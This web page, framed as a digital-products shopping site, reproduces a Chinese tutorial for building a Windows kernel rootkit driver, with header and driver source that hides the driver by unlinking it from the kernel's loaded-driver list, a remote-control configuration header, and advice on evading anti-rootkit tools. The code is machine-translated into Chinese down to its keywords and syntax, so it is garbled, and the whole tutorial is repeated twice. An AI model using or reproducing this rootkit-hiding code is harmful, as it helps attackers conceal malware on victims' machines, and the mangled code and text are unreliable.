数码资讯
Rootkit的隐身技术的详细解释
审查:1。总结 本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。 Rootkit的本文中描述的主要成分 1。总结 本文将带领读者创建一个
选购提示
关注价格、性能、续航、售后和真实使用场景,理性比较后再下单。
审查:1。总结
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
Rootkit的本文中描述的主要成分
1。总结
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
Rootkit的介绍本文的主要部分是一个设备驱动程序,所以让我们开始第一个rootkit。
二,rootkit的主体
本节介绍一个简单的rootkit的实例,这实际上只提供了Rootkit的主要框架,换句话说,一个设备驱动程序。所以为什么使用设备驱动程序为主体很明显,因为在系统中,设备驱动程序和操作系统程序中所有的特权阶级mdash;mdash;它们运行在ring0和有权对系统中所有的代码和数据的访问。还有一点要注意,因为这种情况下的主要目的是介绍如何Rootkit是无形的,所以没有特定功能的后门等。
我们将解释的rootkit形式的源代码,并介绍一些重要的数据结构和函数。接下来,我们先把第一个文件我们使用,这是一个头文件称为看不见的。H,这是如下:
/ /看不见的。H:我们的rootkit的头文件
#则_invisible_h_
#定义_invisible_h_
typedef布尔型;
typedef unsigned long DWORD;
typedef DWORD * pdword;
typedef unsigned long页;
定义无符号短词;
定义字节类型;
typedef struct _driver_data
{
list_entry listentry;
一个DWORD值;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
unicode_string路径;
unicode_string名称;
driver_data };
# endif
We know that applications can include a large number of definitions as long as they simply refer to several files, such as stdio.h and windows.h.But this approach to the driver can't work here. 有两个原因。首先,驱动程序的体积通常是紧凑的。二、司机的应用更为具体,和数据类型较少,因此,我们给出了一个文件,看不见的。H,它定义了一些我们的rootkit的数据类型。
在这里所定义的类型,有一个数据类型说:双字类型,它实际上是一个无符号长整型。此外,driver_data是一个数据结构,通过Windows操作系统的秘密,包括上、下设备驱动程序的指向设备驱动程序目录的指针。所以我们在这里一样一个rootkit设备驱动程序来实现的,只要我们的rootkit目录的设备驱动程序(即司机)删除目录项对应的系统管理程序将无法看到它,为了实现隐身。
Rootkit的头文件是上面介绍的。现在我们介绍Rootkit的主要部分,它实际上是一个基本的设备驱动程序。具体代码显示在下面。
/不可见
#包括ntddk。H
#包括看不见的。H
#包括文件管理器的。
#包括configmanager。H
全局变量
页主版本号;
ulong MinorVersion;
当自由构建时,将注释排除在外以避免被检测到。
无效的卸载文件(在pdriver_object pdriverobject)
{
DbgPrint(comint16:onunload叫。);
}
NTSTATUS DriverEntry(在pdriver_object pdriverobject,在punicode_string)
theregistrypath)
{
driver_data * driverdata;
获取操作系统的版本
psgetversion(主版本号,MinorVersion,null,null);
= 4:Windows NT 4、Windows ME、Windows 98或Windows 95
= 5:Windows Server 2003、WindowsXP或Windows 2000
0,Windows 2000,Windows NT 4或Windows 95
1
2:Windows服务器2003
如果(主版本号= = 5 = = 2 MinorVersion)
{
DbgPrint(comint16:在Windows 2003的运行);
}
如果(主版本号= = 5 = = 1 MinorVersion)
{
DbgPrint(comint16:运行在Windows XP);
}
如果(主版本号= = 5 = = 0 MinorVersion)
{
DbgPrint(comint16:运行于Windows 2000);
}
如果(主版本号= = 4 = = 0 MinorVersion)
{
DbgPrint(comint16:运行在Windows NT 4 );
}
其他的
{
DbgPrint(comint16:未知系统运行);
}
隐藏驱动程序
driverdata = *((driver_data * *)((DWORD)pdriverobject 20));
如果(driverdata!= null)
{
将删除目录中相应条目中的驱动程序/驱动器
*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;
driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;
}
允许驱动程序/卸载
pdriverobject ->卸载= onunload;
控制器被配置为连接 / / rootkit
如果(!!nt_success(配置()))
{
DbgPrint(comint16:无法配置远程连接上。;
返回status_unsuccessful;
}
返回status_success;
}
看不见的。C是Rootkit的主要结构,包括入口函数DriverEntry和卸载功能卸载文件,操作系统将调用入口函数时,驱动加载。我们看到,一个参数,通过对入口函数是driver_object,其作用是给一个函数调用与司机沟通时映射表。在这种情况下,我们只是地图功能pdriverobject ->卸载,因此当驱动程序被卸载,卸载文件的函数是由操作系统调用。特别的是,这一点在rootkit的发展过程中是非常有用的,不需要重新启动系统卸载驱动,但它带来的一个大问题:它是容易的所以,隐藏要求不能高用,我们在源代码中有相应的注释部分。
让我们看看Rootkit是隐身。我们摘录的代码隐藏的设备驱动程序如下:
隐藏驱动程序
driverdata = *((driver_data * *)((DWORD)pdriverobject 20));
如果(driverdata!= null)
{
将删除目录中相应条目中的驱动程序/驱动器
*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;
driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;
}
为了防止操作系统找到我们的rootkit的设备驱动程序,这个代码修改系统内核的内部数据结构,有一个双向链表中的系统,这是目前的驱动程序运行记录。也就是说,每一个运行的驱动链接列表中有相应的表项。就像drivers.exe和其他应用程序,设备驱动程序的信息是通过链表得到。换句话说,如果的rootkit的表项从链表中删除,可以隐藏的rootkit的存在和避免大多数试验。
细心的读者可能会问,隐藏的很好,但如果一个系统对驾驶员的存在只有通过这个清单,我们不能破坏的rootkit幸运的是,Windows操作系统的内核使用另一个表来为操作中的每个驱动程序分配时间。因此,即使我们删除rootkit对应表条目从设备驱动程序的列表,我们的rootkit仍然活得自在。
当我们用这种技术来隐藏的rootkit,我们必须注意:如果已经安装了反rootkit软件之前,我们的rootkit,明确的设备驱动程序表项这种行为本身可以被检测到,这引起了人们的关注。读者会问:我应该做些什么呢答案是,第一个音符对应的rootkit设备驱动程序的入口地址,然后检查钩内核驱动程序的列表,当该函数检查清单,我们有机会提前保存表到设备驱动程序的列表。考试结束后,该项目被删除。这样,在rootkit检测程序,没有一个是在手和脚上的设备驱动程序链:反rootkit软件闪烁。但技术更为复杂,超出了本文的范围,我们将有机会解释。
你可能已经注意到,调试语句用于在invisible.c.in事实上许多地方,DbgPrint语句基本上都是免费放在rootkit。在这种情况下,我们使用DbgPrint语句来监控负载和错误驱动程序的状态。然而,这一声明的输出不会直接显示在标准输出设备或显示器。只有在DebugView程序的帮助下,我们可以看到这些语句的输出。另外的DebugView程序,内核调试程序也可以用于这个目的。另外,我们的调试语句的另一个特征。他们都开始与通信情报32,这是用来区分从其他程序的调试输出报表。另一方面,通信情报32使用单词以欺骗公众,因为它是与rootkit的接触非常困难
三。配置管理器
我们的rootkit的主体已经竣工,但要让它工作,我们必须做一些必要的配置,例如,如果你需要远程控制它,你需要配置连接。因此,我们还需要一个配置管理器来做配置Rootkit的工作。以下是Rootkit配置管理器头文件:
/ / configmanager。H
配置管理头文件
#则_config_manager_h_
#定义_config_manager_h_
焦masterport { 10 };
焦masteraddress1 { 4 };
焦masteraddress2 { 4 };
焦masteraddress3 { 4 };
焦masteraddress4 { 4 };
NTSTATUS配置();
# endif
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
Rootkit的本文中描述的主要成分
1。总结
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
Rootkit的介绍本文的主要部分是一个设备驱动程序,所以让我们开始第一个rootkit。
二,rootkit的主体
本节介绍一个简单的rootkit的实例,这实际上只提供了Rootkit的主要框架,换句话说,一个设备驱动程序。所以为什么使用设备驱动程序为主体很明显,因为在系统中,设备驱动程序和操作系统程序中所有的特权阶级mdash;mdash;它们运行在ring0和有权对系统中所有的代码和数据的访问。还有一点要注意,因为这种情况下的主要目的是介绍如何Rootkit是无形的,所以没有特定功能的后门等。
我们将解释的rootkit形式的源代码,并介绍一些重要的数据结构和函数。接下来,我们先把第一个文件我们使用,这是一个头文件称为看不见的。H,这是如下:
/ /看不见的。H:我们的rootkit的头文件
#则_invisible_h_
#定义_invisible_h_
typedef布尔型;
typedef unsigned long DWORD;
typedef DWORD * pdword;
typedef unsigned long页;
定义无符号短词;
定义字节类型;
typedef struct _driver_data
{
list_entry listentry;
一个DWORD值;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
unicode_string路径;
unicode_string名称;
driver_data };
# endif
We know that applications can include a large number of definitions as long as they simply refer to several files, such as stdio.h and windows.h.But this approach to the driver can't work here. 有两个原因。首先,驱动程序的体积通常是紧凑的。二、司机的应用更为具体,和数据类型较少,因此,我们给出了一个文件,看不见的。H,它定义了一些我们的rootkit的数据类型。
在这里所定义的类型,有一个数据类型说:双字类型,它实际上是一个无符号长整型。此外,driver_data是一个数据结构,通过Windows操作系统的秘密,包括上、下设备驱动程序的指向设备驱动程序目录的指针。所以我们在这里一样一个rootkit设备驱动程序来实现的,只要我们的rootkit目录的设备驱动程序(即司机)删除目录项对应的系统管理程序将无法看到它,为了实现隐身。
Rootkit的头文件是上面介绍的。现在我们介绍Rootkit的主要部分,它实际上是一个基本的设备驱动程序。具体代码显示在下面。
/不可见
#包括ntddk。H
#包括看不见的。H
#包括文件管理器的。
#包括configmanager。H
全局变量
页主版本号;
ulong MinorVersion;
当自由构建时,将注释排除在外以避免被检测到。
无效的卸载文件(在pdriver_object pdriverobject)
{
DbgPrint(comint16:onunload叫。);
}
NTSTATUS DriverEntry(在pdriver_object pdriverobject,在punicode_string)
theregistrypath)
{
driver_data * driverdata;
获取操作系统的版本
psgetversion(主版本号,MinorVersion,null,null);
= 4:Windows NT 4、Windows ME、Windows 98或Windows 95
= 5:Windows Server 2003、WindowsXP或Windows 2000
0,Windows 2000,Windows NT 4或Windows 95
1
2:Windows服务器2003
如果(主版本号= = 5 = = 2 MinorVersion)
{
DbgPrint(comint16:在Windows 2003的运行);
}
如果(主版本号= = 5 = = 1 MinorVersion)
{
DbgPrint(comint16:运行在Windows XP);
}
如果(主版本号= = 5 = = 0 MinorVersion)
{
DbgPrint(comint16:运行于Windows 2000);
}
如果(主版本号= = 4 = = 0 MinorVersion)
{
DbgPrint(comint16:运行在Windows NT 4 );
}
其他的
{
DbgPrint(comint16:未知系统运行);
}
隐藏驱动程序
driverdata = *((driver_data * *)((DWORD)pdriverobject 20));
如果(driverdata!= null)
{
将删除目录中相应条目中的驱动程序/驱动器
*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;
driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;
}
允许驱动程序/卸载
pdriverobject ->卸载= onunload;
控制器被配置为连接 / / rootkit
如果(!!nt_success(配置()))
{
DbgPrint(comint16:无法配置远程连接上。;
返回status_unsuccessful;
}
返回status_success;
}
看不见的。C是Rootkit的主要结构,包括入口函数DriverEntry和卸载功能卸载文件,操作系统将调用入口函数时,驱动加载。我们看到,一个参数,通过对入口函数是driver_object,其作用是给一个函数调用与司机沟通时映射表。在这种情况下,我们只是地图功能pdriverobject ->卸载,因此当驱动程序被卸载,卸载文件的函数是由操作系统调用。特别的是,这一点在rootkit的发展过程中是非常有用的,不需要重新启动系统卸载驱动,但它带来的一个大问题:它是容易的所以,隐藏要求不能高用,我们在源代码中有相应的注释部分。
让我们看看Rootkit是隐身。我们摘录的代码隐藏的设备驱动程序如下:
隐藏驱动程序
driverdata = *((driver_data * *)((DWORD)pdriverobject 20));
如果(driverdata!= null)
{
将删除目录中相应条目中的驱动程序/驱动器
*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;
driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;
}
为了防止操作系统找到我们的rootkit的设备驱动程序,这个代码修改系统内核的内部数据结构,有一个双向链表中的系统,这是目前的驱动程序运行记录。也就是说,每一个运行的驱动链接列表中有相应的表项。就像drivers.exe和其他应用程序,设备驱动程序的信息是通过链表得到。换句话说,如果的rootkit的表项从链表中删除,可以隐藏的rootkit的存在和避免大多数试验。
细心的读者可能会问,隐藏的很好,但如果一个系统对驾驶员的存在只有通过这个清单,我们不能破坏的rootkit幸运的是,Windows操作系统的内核使用另一个表来为操作中的每个驱动程序分配时间。因此,即使我们删除rootkit对应表条目从设备驱动程序的列表,我们的rootkit仍然活得自在。
当我们用这种技术来隐藏的rootkit,我们必须注意:如果已经安装了反rootkit软件之前,我们的rootkit,明确的设备驱动程序表项这种行为本身可以被检测到,这引起了人们的关注。读者会问:我应该做些什么呢答案是,第一个音符对应的rootkit设备驱动程序的入口地址,然后检查钩内核驱动程序的列表,当该函数检查清单,我们有机会提前保存表到设备驱动程序的列表。考试结束后,该项目被删除。这样,在rootkit检测程序,没有一个是在手和脚上的设备驱动程序链:反rootkit软件闪烁。但技术更为复杂,超出了本文的范围,我们将有机会解释。
你可能已经注意到,调试语句用于在invisible.c.in事实上许多地方,DbgPrint语句基本上都是免费放在rootkit。在这种情况下,我们使用DbgPrint语句来监控负载和错误驱动程序的状态。然而,这一声明的输出不会直接显示在标准输出设备或显示器。只有在DebugView程序的帮助下,我们可以看到这些语句的输出。另外的DebugView程序,内核调试程序也可以用于这个目的。另外,我们的调试语句的另一个特征。他们都开始与通信情报32,这是用来区分从其他程序的调试输出报表。另一方面,通信情报32使用单词以欺骗公众,因为它是与rootkit的接触非常困难
三。配置管理器
我们的rootkit的主体已经竣工,但要让它工作,我们必须做一些必要的配置,例如,如果你需要远程控制它,你需要配置连接。因此,我们还需要一个配置管理器来做配置Rootkit的工作。以下是Rootkit配置管理器头文件:
/ / configmanager。H
配置管理头文件
#则_config_manager_h_
#定义_config_manager_h_
焦masterport { 10 };
焦masteraddress1 { 4 };
焦masteraddress2 { 4 };
焦masteraddress3 { 4 };
焦masteraddress4 { 4 };
NTSTATUS配置();
# endif
声明:本文内容用于数码产品信息整理与选购参考,具体价格、库存、售后政策以官方渠道和电商页面实时信息为准。